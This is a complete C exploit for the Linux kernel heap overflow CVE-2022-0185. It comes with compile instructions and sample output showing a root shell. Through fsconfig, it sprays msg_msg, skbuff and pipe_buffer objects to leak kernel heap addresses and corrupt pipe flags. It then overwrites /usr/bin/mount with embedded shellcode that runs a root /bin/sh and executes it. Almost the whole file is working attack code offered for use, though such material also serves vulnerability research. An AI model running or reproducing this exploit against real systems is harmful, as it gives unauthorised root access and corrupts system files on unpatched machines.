/**
 * CVE-2022-0185 exploit
 * 
 * This exploit use pipe-primitive so no kaslr leak nor smap
 *  smep ktpi bypass is needed.
 * 
 * Compile with:
 *  gcc exploit.c -o exploit -static -no-pie -s
 * 
 * This exploit will overwrite /usr/bin/mount with suid-shell and
 *  execute it. BACKUP IT MANUALLY before running exploit, and
 *  RESTORE it quickly after exploit success.
 * 
 * / $ /exp
 * [+] perform initialization
 * [+] perform exploit step1
 * [*] prepare fsconfig heap overflow
 * [*] sparying msg_msg ...
 * [*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.m_ts
 * [*] search corrupted msg_msg ...
 * [*] corrupted msg_msg found, id: 6
 * [*] clean unused msg_msg ...
 * [*] alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ...
 * [*] it works :)
 * 00 1C F3 82 99 91 FF FF  00 F8 4B 83 99 91 FF FF  |  ..........K.....
 * 42 0E 00 00 00 00 00 00  D0 03 00 00 00 00 00 00  |  B...............
 * 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |  ................
 * 37 13 37 13 04 00 00 00  57 57 57 57 57 57 57 57  |  7.7.....WWWWWWWW
 * [+] leak list2_leak_msqid: 1028
 * [+] leak list2_leak_mtype: 0xe42
 * [+] leak list2_uaf_msg_addr: 0xffff9199834bf800
 * [+] leak list2_uaf_mtype: 0xd42
 * [*] alloc msg_msg as heap buffer with known address
 * [*] fetch heap_buffer address by oob read again
 * [+] heap_buffer_addr: 0xffff91998401e830
 * [*] clean unused msg_msg ...
 * [+] perform exploit step2
 * [*] prepare fsconfig heap overflow
 * [*] sparying msg_msg ...
 * [*] trigger oob write in `legacy_parse_param` to corrupt msg_msg.next
 * [*] free uaf msg_msg from correct msqid
 * [*] spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg
 * [*] free skbuff_data using fake msqid
 * [*] freed using msqid 6
 * [*] spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data
 * [*] free skbuff_data to make pipe_buffer become UAF
 * [*] uaf_pipe_idx: 5
 * [*] edit pipe_buffer->flags
 * [*] try to overwrite /usr/bin/mount
 * [*] see if /usr/bin/mount changed
 * [+] exploit success
 * / # id
 * uid=0(root) gid=0(root) groups=1000(ctf)
 * 
 */

#define _GNU_SOURCE
#include <fcntl.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <unistd.h>

#ifndef __NR_fsconfig
#define __NR_fsconfig 431
#endif
#ifndef __NR_fsopen
#define __NR_fsopen 430
#endif
#define FSCONFIG_SET_STRING 1
#define fsopen(name, flags) syscall(__NR_fsopen, name, flags)
#define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux)
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

#define NUM_MSQIDS_1 (0x400)
#define NUM_MSQIDS_2 (0x400)
#define MSG_TEXT_SIZE(x) (         \
    (x) - sizeof(struct msg_msg) - \
    sizeof(struct msg_msgseg) * (((x + PAGE_SIZE - 1) / PAGE_SIZE) - 1))
#define MSG_A_RAW_SIZE (0x1400)
#define MSG_B_RAW_SIZE (0x400)
#define MSG_A_TEXT_SIZE MSG_TEXT_SIZE(MSG_A_RAW_SIZE)
#define MSG_B_TEXT_SIZE MSG_TEXT_SIZE(MSG_B_RAW_SIZE)
#define MTYPE_A (0x41)
#define MTYPE_B (0x42)
#define MTYPE_FAKE (0x43)
#define MSG_SIG (0x13371337)
#define NUM_PIPES (0x100)
#define NUM_SOCKETS (4)
#define NUM_SKBUFFS (0x80)

#define logd(fmt, ...) dprintf(2, "[*] " fmt "\n", ##__VA_ARGS__)
#define logi(fmt, ...) dprintf(2, "[+] " fmt "\n", ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, "[-] " fmt "\n", ##__VA_ARGS__)
#define die(fmt, ...)                      \
    do {                                   \
        loge(fmt, ##__VA_ARGS__);          \
        loge("Exit at line %d", __LINE__); \
        write(sync_pipe[1], "F", 1);       \
        exit(1);                           \
    } while (0)

#define ATTACK_FILE "/usr/bin/mount"
const char attack_data[] = {
    0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00,
    0x00, 0x56, 0x56, 0x56, 0x56, 0x00, 0x00, 0x00,
    0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
    0xb0, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00,
    0x02, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0xf6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x51, 0xe5, 0x74, 0x64, 0x07, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    0x31, 0xff, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x75,
    0x58, 0x0f, 0x05, 0x31, 0xff, 0x31, 0xd2, 0x31,
    0xf6, 0x6a, 0x77, 0x58, 0x0f, 0x05, 0x6a, 0x68,
    0x48, 0xb8, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f,
    0x2f, 0x73, 0x50, 0x48, 0x89, 0xe7, 0x68, 0x72,
    0x69, 0x01, 0x01, 0x81, 0x34, 0x24, 0x01, 0x01,
    0x01, 0x01, 0x31, 0xf6, 0x56, 0x6a, 0x08, 0x5e,
    0x48, 0x01, 0xe6, 0x56, 0x48, 0x89, 0xe6, 0x31,
    0xd2, 0x6a, 0x3b, 0x58, 0x0f, 0x05};

struct list_head {
    uint64_t next;
    uint64_t prev;
};

struct msg_msg {
    struct list_head m_list;
    uint64_t m_type;
    uint64_t m_ts;
    uint64_t next;
    uint64_t security;
    char mtext[0];
};

struct msg_msgseg {
    uint64_t next;
};

struct typ_msg {
    long mtype;
    char mtext[0];
};

int sync_pipe[2];
int sockfd;
int sock_pairs[NUM_SOCKETS][2];
int msqid_1[NUM_MSQIDS_1];
int msqid_2[NUM_MSQIDS_2];
uint8_t msg_buffer[0x2000];
struct typ_msg *msg_a = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_a_oob = (struct typ_msg *)msg_buffer;
struct typ_msg *msg_b = (struct typ_msg *)msg_buffer;
int list1_corrupted_msqid = -1;
int list2_leak_msqid = -1;
int list2_leak_mtype = 0;
uint64_t list2_uaf_msg_addr = 0;
int list2_uaf_mtype = 0;
uint64_t heap_buffer_addr = 0;
int pipes[NUM_PIPES][2];

void hexdump(const void *data, size_t size) {
    char ascii[17];
    size_t i, j;
    ascii[16] = '\0';
    for (i = 0; i < size; ++i) {
        dprintf(2, "%02X ", ((unsigned char *)data)[i]);
        if (((unsigned char *)data)[i] >= ' ' && ((unsigned char *)data)[i] <= '~') {
            ascii[i % 16] = ((unsigned char *)data)[i];
        } else {
            ascii[i % 16] = '.';
        }
        if ((i + 1) % 8 == 0 || i + 1 == size) {
            dprintf(2, " ");
            if ((i + 1) % 16 == 0) {
                dprintf(2, "|  %s \n", ascii);
            } else if (i + 1 == size) {
                ascii[(i + 1) % 16] = '\0';
                if ((i + 1) % 16 <= 8) {
                    dprintf(2, " ");
                }
                for (j = (i + 1) % 16; j < 16; ++j) {
                    dprintf(2, "   ");
                }
                dprintf(2, "|  %s \n", ascii);
            }
        }
    }
}

void init_unshare() {
    int fd;
    char buff[0x100];

    // strace from `unshare -Ur xxx`
    unshare(CLONE_NEWNS | CLONE_NEWUSER);

    fd = open("/proc/self/setgroups", O_WRONLY);
    snprintf(buff, sizeof(buff), "deny");
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/uid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getuid());
    write(fd, buff, strlen(buff));
    close(fd);

    fd = open("/proc/self/gid_map", O_WRONLY);
    snprintf(buff, sizeof(buff), "0 %d 1", getgid());
    write(fd, buff, strlen(buff));
    close(fd);
}

void init_msq() {
    for (int i = 0; i < NUM_MSQIDS_1; i++) {
        msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (msqid_1[i] < 0) {
            die("msgget() fail");
        }
    }
    for (int i = 0; i < NUM_MSQIDS_2; i++) {
        msqid_2[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        if (msqid_2[i] < 0) {
            die("msgget() fail");
        }
    }
}

void init_sock() {
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        die("socket() fail");
    }

    for (int i = 0; i < NUM_SOCKETS; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sock_pairs[i]) < 0) {
            die("socketpair() fail");
        }
    }
}

void clean_msq_1() {
    for (int i = 0; i < NUM_MSQIDS_1; i++) {
        msgrcv(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, MTYPE_A, IPC_NOWAIT);
    }
}

void clean_msq_2() {
    for (int i = 0; i < NUM_MSQIDS_2; i++) {
        for (int j = 0; j < 0x10; j++) {
            msgrcv(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, MTYPE_B | (j << 8), IPC_NOWAIT);
        }
    }
}

void clean_pipe() {
    for (int i = 0; i < NUM_PIPES; i++) {
        char buffer[0x100];
        read(pipes[i][0], buffer, 0x100);
        close(pipes[i][0]);
        close(pipes[i][1]);
    }
}

void bind_cpu() {
    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &my_set)) {
        die("sched_setaffinity()");
    }
}

int call_fsopen() {
    int fd = fsopen("ext4", 0);
    if (fd < 0) {
        die("fsopen()");
    }
    return fd;
}

void spray_skbuff_data(void *ptr, size_t size) {
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (write(sock_pairs[i][0], ptr, size) < 0) {
                die("write to sock pairs failed");
            }
        }
    }
}

void free_skbuff_data(void *ptr, size_t size) {
    for (int i = 0; i < NUM_SOCKETS; i++) {
        for (int j = 0; j < NUM_SKBUFFS; j++) {
            if (read(sock_pairs[i][1], ptr, size) < 0) {
                die("read from sock pairs failed");
            }
        }
    }
}

uint64_t exploit_step1(int fd) {
    char buff[0x1000];

    /**
     * padding ctx->legacy_data to
     * ------
     * 0x0FE0: BBBB BBBB - BBBB BBBB
     * 0x0FF0: BBBB BBBB - BBBB BBB?
     * 0x1000: ???? ???? - ???? ????
     *
     * so next write will overwrite next page,
     * ------
     * 0x0FF0: BBBB BBBB - BBBB BBB,
     * 0x1000: =XXX XXXX - XXXX XXXX
     */
    logd("prepare fsconfig heap overflow");
    memset(buff, 0, sizeof(buff));
    memset(buff, 'A', 0x100 - 2);
    for (int i = 0; i < 0xf; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);
    }
    memset(buff, 0, sizeof(buff));
    memset(buff, 'B', 0x100 - 3);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

    // alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg
    logd("sparying msg_msg ...");
    for (int i = 0; i < NUM_MSQIDS_1; i++) {
        msg_a->mtype = MTYPE_A;
        memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE);
        ((int *)msg_a->mtext)[0] = MSG_SIG;
        ((int *)msg_a->mtext)[1] = i;
        if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) {
            die("msgsnd() fail");
        }
    }

    // trigger oob write to overwrite msg_msg.m_ts (hopes)
    logd("trigger oob write in `legacy_parse_param` to corrupt msg_msg.m_ts");
    memset(buff, 0, sizeof(buff));
    strcat(buff, "0000000");  // m_list.next
    strcat(buff, "11111111"); // m_list.prev
    strcat(buff, "22222222"); // m_type
    uint64_t target_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400);
    memcpy(buff + strlen(buff), &target_size, 2);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

    // recv from buffer to see if leak success
    logd("search corrupted msg_msg ...");
    for (int i = 0; i < NUM_MSQIDS_1; i++) {
        ssize_t copy_size = msgrcv(msqid_1[i], msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT);
        if (copy_size < 0) {
            continue;
        }
        if (copy_size == MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400)) {
            logd("corrupted msg_msg found, id: %d", msqid_1[i]);
            list1_corrupted_msqid = msqid_1[i];
            msqid_1[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
            uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
            size_t oob_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400) - MSG_A_TEXT_SIZE;
            if (memcmp(&oob_data[1], "QQQQQQQQ", 8)) { // 'QQQQQQQQ'
                logd("but the next object is not allocated by msg_msgseg");
            }
            break;
        }
    }
    if (list1_corrupted_msqid < 0) {
        loge("can't found corrupted msg_msg, and kernel may crash :(");
        clean_msq_1();
        return 1;
    }

    // clean uncorrupted msg_msg
    logd("clean unused msg_msg ...");
    clean_msq_1();

    // realloc 0x400 slab with msg_msg
    logd("alloc `struct msg_msg` to re-acquire the 0x400 slab freed by msg_msgseg ...");
    for (int i = 0; i < NUM_MSQIDS_2; i++) {
        memset(msg_b->mtext, 'W', MSG_B_TEXT_SIZE);
        ((int *)msg_b->mtext)[0] = MSG_SIG;
        ((int *)msg_b->mtext)[1] = i;
        for (int j = 0; j < 0x10; j++) {
            msg_b->mtype = MTYPE_B | (j << 8);
            if (msgsnd(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) {
                die("msgsnd() fail");
            }
        }
    }

    // hope leak happen
    {
        ssize_t copy_size = msgrcv(list1_corrupted_msqid, msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT);
        if ((copy_size < 0) || (copy_size != MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400))) {
            die("recv from corrupted msg_msg failed");
        }
        uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
        size_t oob_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400) - MSG_A_TEXT_SIZE;
        struct msg_msg *p = (struct msg_msg *)oob_data;
        if (((int *)&p->mtext)[0] != MSG_SIG) {
            loge("bad luck, we don't catch 0x400 msg_msg");
            clean_msq_2();
            return 1;
        }
        logd("it works :)");

        list2_leak_msqid = msqid_2[((int *)&p->mtext)[1]];
        list2_leak_mtype = p->m_type;
        list2_uaf_msg_addr = p->m_list.prev;
        list2_uaf_mtype = p->m_type - 0x0100;
        msqid_2[((int *)&p->mtext)[1]] = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
        hexdump(msg_a_oob->mtext + MSG_A_TEXT_SIZE, 0x40);
        logi("leak list2_leak_msqid: %d", list2_leak_msqid);
        logi("leak list2_leak_mtype: 0x%x", list2_leak_mtype);
        logi("leak list2_uaf_msg_addr: 0x%lx", list2_uaf_msg_addr);
        logi("leak list2_uaf_mtype: 0x%x", list2_uaf_mtype);
    }

    logd("alloc msg_msg as heap buffer with known address");
    {
        for (int j = ((list2_leak_mtype + 0x100) >> 8); j < 0x10; j++) {
            msgrcv(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, MTYPE_B | (j << 8), IPC_NOWAIT);
        }
        memset(buff, 0, sizeof(buff));
        struct msg_msg *p = (struct msg_msg *)buff;
        p->m_list.next = list2_uaf_msg_addr;
        p->m_list.prev = 0xdeadbeefdeadbeef;
        p->m_type = MTYPE_A;

        uint64_t *p2;

        // unlink next / prev
        p2 = (uint64_t *)(buff + 0x80);
        *p2++ = heap_buffer_addr; // +0x80
        *p2++ = heap_buffer_addr; // +0x88

        memcpy(msg_b->mtext, buff, MSG_B_TEXT_SIZE);
        msg_b->mtype = MTYPE_B;
        if (msgsnd(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, 0) < 0) {
            die("msgsnd() fail");
        }
    }

    logd("fetch heap_buffer address by oob read again");
    {
        ssize_t copy_size = msgrcv(list1_corrupted_msqid, msg_a_oob, MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400), 0, MSG_COPY | IPC_NOWAIT);
        if ((copy_size < 0) || (copy_size != MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400))) {
            die("Recv from corrupted msg_msg failed");
        }
        uint64_t *oob_data = (uint64_t *)(msg_a_oob->mtext + MSG_A_TEXT_SIZE);
        size_t oob_size = MSG_TEXT_SIZE(MSG_A_RAW_SIZE + 0x400) - MSG_A_TEXT_SIZE;
        struct msg_msg *p = (struct msg_msg *)oob_data;
        if (((int *)&p->mtext)[0] != MSG_SIG) {
            die("I don't think this can happen");
        }
        heap_buffer_addr = p->m_list.next + sizeof(struct msg_msg);
        logi("heap_buffer_addr: 0x%lx", heap_buffer_addr);
        if (strlen((char *)&heap_buffer_addr) < 8) {
            die("pointer can't contain 0x00 bytes");
        }
    }

    // clean uncorrupted msg_msg
    logd("clean unused msg_msg ...");
    clean_msq_2();

    return 0;
}

int exploit_step2(int fd) {
    char buff[0x1000];

    logd("prepare fsconfig heap overflow");
    memset(buff, 0, sizeof(buff));
    memset(buff, 'A', 0x100 - 2);
    for (int i = 0; i < 0xf; i++) {
        fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);
    }
    memset(buff, 0, sizeof(buff));
    memset(buff, 'B', 0x100 - 3);
    fsconfig(fd, FSCONFIG_SET_STRING, "\x00", buff, 0);

    // alloc msg_msg with 0x1000(-0x30) body and 0x400(-0x08) msg_msgseg
    logd("sparying msg_msg ...");
    for (int i = 0; i < NUM_MSQIDS_1; i++) {
        msg_a->mtype = MTYPE_A;
        memset(msg_a->mtext, 'Q', MSG_A_TEXT_SIZE);
        ((int *)msg_a->mtext)[0] = MSG_SIG;
        ((int *)msg_a->mtext)[1] = i;
        if (msgsnd(msqid_1[i], msg_a, MSG_A_TEXT_SIZE, 0) < 0) {
            die("msgsnd() fail");
        }
    }

    // trigger oob write to overwrite msg_msg.next (hopes)
    logd("trigger oob write in `legacy_parse_param` to corrupt msg_msg.next");
    memset(buff, 0, sizeof(buff));
    struct msg_msg *p = (struct msg_msg *)buff;
    p->m_list.next = heap_buffer_addr;
    p->m_list.prev = 0xdeadbeefdeadbeef;
    p->m_type = MTYPE_A; // with '=' appended
    fsconfig(fd, FSCONFIG_SET_STRING, buff, "\x00", 0);

    // free uaf msg_msg
    logd("free uaf msg_msg from correct msqid");
    if (msgrcv(list2_leak_msqid, msg_b, MSG_B_TEXT_SIZE, list2_uaf_mtype, 0) < 0) {
        die("msgrcv() fail");
    }

    // spary skbuff_data to re-acquire uaf msg_msg and fake the header
    logd("spray skbuff_data to re-acquire the 0x400 slab freed by msg_msg");
    {
        memset(buff, 0, sizeof(buff));
        struct msg_msg *p = (struct msg_msg *)buff;
        p->m_list.next = heap_buffer_addr + 0x80;
        p->m_list.prev = heap_buffer_addr + 0x80;
        p->m_ts = 0x100;
        p->m_type = MTYPE_FAKE;
        p->next = 0;
        p->security = 0;
        spray_skbuff_data(buff, 0x400 - 0x140);
    }

    // free uaf msg_msg
    logd("free skbuff_data using fake msqid");
    for (int i = 0; i < NUM_MSQIDS_1; i++) {
        if (msgrcv(msqid_1[i], msg_b, MSG_B_TEXT_SIZE, MTYPE_FAKE, IPC_NOWAIT) > 0) {
            logd("freed using msqid %d", i);
            break;
        }
    }

    // filled with pipe_buffer
    logd("spray pipe_buffer to re-acquire the 0x400 slab freed by skbuff_data");
    int attack_fd = open(ATTACK_FILE, O_RDONLY);
    if (attack_fd < 0) {
        die("open %s", ATTACK_FILE);
    }
    for (int i = 0; i < NUM_PIPES; i++) {
        if (pipe(pipes[i])) {
            die("Alloc pipe failed");
        }

        const unsigned pipe_size = fcntl(pipes[i][1], F_GETPIPE_SZ);
        static char tmp_buff[4096];

        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r;
            write(pipes[i][1], tmp_buff, n);
            r -= n;
        }

        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(tmp_buff) ? sizeof(tmp_buff) : r;
            read(pipes[i][0], tmp_buff, n);
            r -= n;
        }

        write(pipes[i][1], buff, 0x100 + i);

        loff_t offset = 1;
        ssize_t nbytes = splice(attack_fd, &offset, pipes[i][1], NULL, 1, 0);
        if (nbytes < 0) {
            die("splice() failed");
        }
    }

    logd("free skbuff_data to make pipe_buffer become UAF");
    int uaf_pipe_idx = 0;
    char pipe_buffer_backup[0x280];
    int PIPE_BUF_FLAG_CAN_MERGE = 0x10;
    {
        void *ptr = buff;
        uint64_t size = 0x400 - 0x140;
        for (int i = 0; i < NUM_SOCKETS; i++) {
            for (int j = 0; j < NUM_SKBUFFS; j++) {
                if (read(sock_pairs[i][1], ptr, size) < 0) {
                    die("read from sock pairs failed");
                }
                uint32_t test_size = ((uint32_t *)ptr)[3];
                if ((test_size >= 0x100) && (test_size < 0x100 + NUM_PIPES)) {
                    uaf_pipe_idx = test_size - 0x100;
                    logd("uaf_pipe_idx: %d", uaf_pipe_idx);
                    memcpy(pipe_buffer_backup, ptr, 0x280);
                }
            }
        }
    }

    logd("edit pipe_buffer->flags");
    {
        memset(buff, 0, sizeof(buff));
        memcpy(buff, pipe_buffer_backup, 0x280);
        ((uint64_t *)buff)[6] = 0;                       // offset | len
        ((uint64_t *)buff)[8] = PIPE_BUF_FLAG_CAN_MERGE; // flag
        spray_skbuff_data(buff, 0x400 - 0x140);
    }

    logd("try to overwrite %s", ATTACK_FILE);
    {
        ssize_t nbytes = write(pipes[uaf_pipe_idx][1], attack_data, sizeof(attack_data));
        if (nbytes < 0) {
            die("write failed");
        }
        if ((size_t)nbytes < sizeof(attack_data)) {
            die("short write");
        }
    }

    logd("see if %s changed", ATTACK_FILE);
    {
        int fd = open(ATTACK_FILE, O_RDONLY);
        if (fd < 0) {
            die("open attack file");
        }
        char tmp_buffer[0x10];
        read(fd, tmp_buffer, 0x10);
        uint32_t *ptr = (uint32_t *)(tmp_buffer + 9);
        if (ptr[0] != 0x56565656) {
            die("overwrite attack file failed: 0x%08x", ptr[0]);
        }
    }

    logi("exploit success");

    // clean
    close(pipes[uaf_pipe_idx][0]);
    close(pipes[uaf_pipe_idx][1]);
    for (int i = 0; i < NUM_MSQIDS_2; i++) {
        memset(msg_b->mtext, 0, MSG_B_TEXT_SIZE);
        msg_b->mtype = MTYPE_B;
        if (msgsnd(msqid_2[i], msg_b, MSG_B_TEXT_SIZE, 0) < 0) {
            die("msgsnd() fail");
        }
    }

    return 0;
}

int main(void) {
    pipe(sync_pipe);

    if (!fork()) {
        logi("perform initialization");
        init_unshare();
        bind_cpu();
        init_msq();
        init_sock();

        int fd;

        fd = call_fsopen();
        logi("perform exploit step1");
        while (exploit_step1(fd)) {
            logd("retry step1 ...");

            close(fd);
            fd = call_fsopen();
        }

        fd = call_fsopen();
        logi("perform exploit step2");
        while (exploit_step2(fd)) {
            logd("retry step2 ...");

            close(fd);
            fd = call_fsopen();
        }

        write(sync_pipe[1], "T", 1);
        while (1) {
            sleep(10);
        }
    } else {
        char sync;
        read(sync_pipe[0], &sync, 1);
        if (sync == 'T') {
            execl(ATTACK_FILE, ATTACK_FILE, NULL);
        }
    }

    return 0;
}
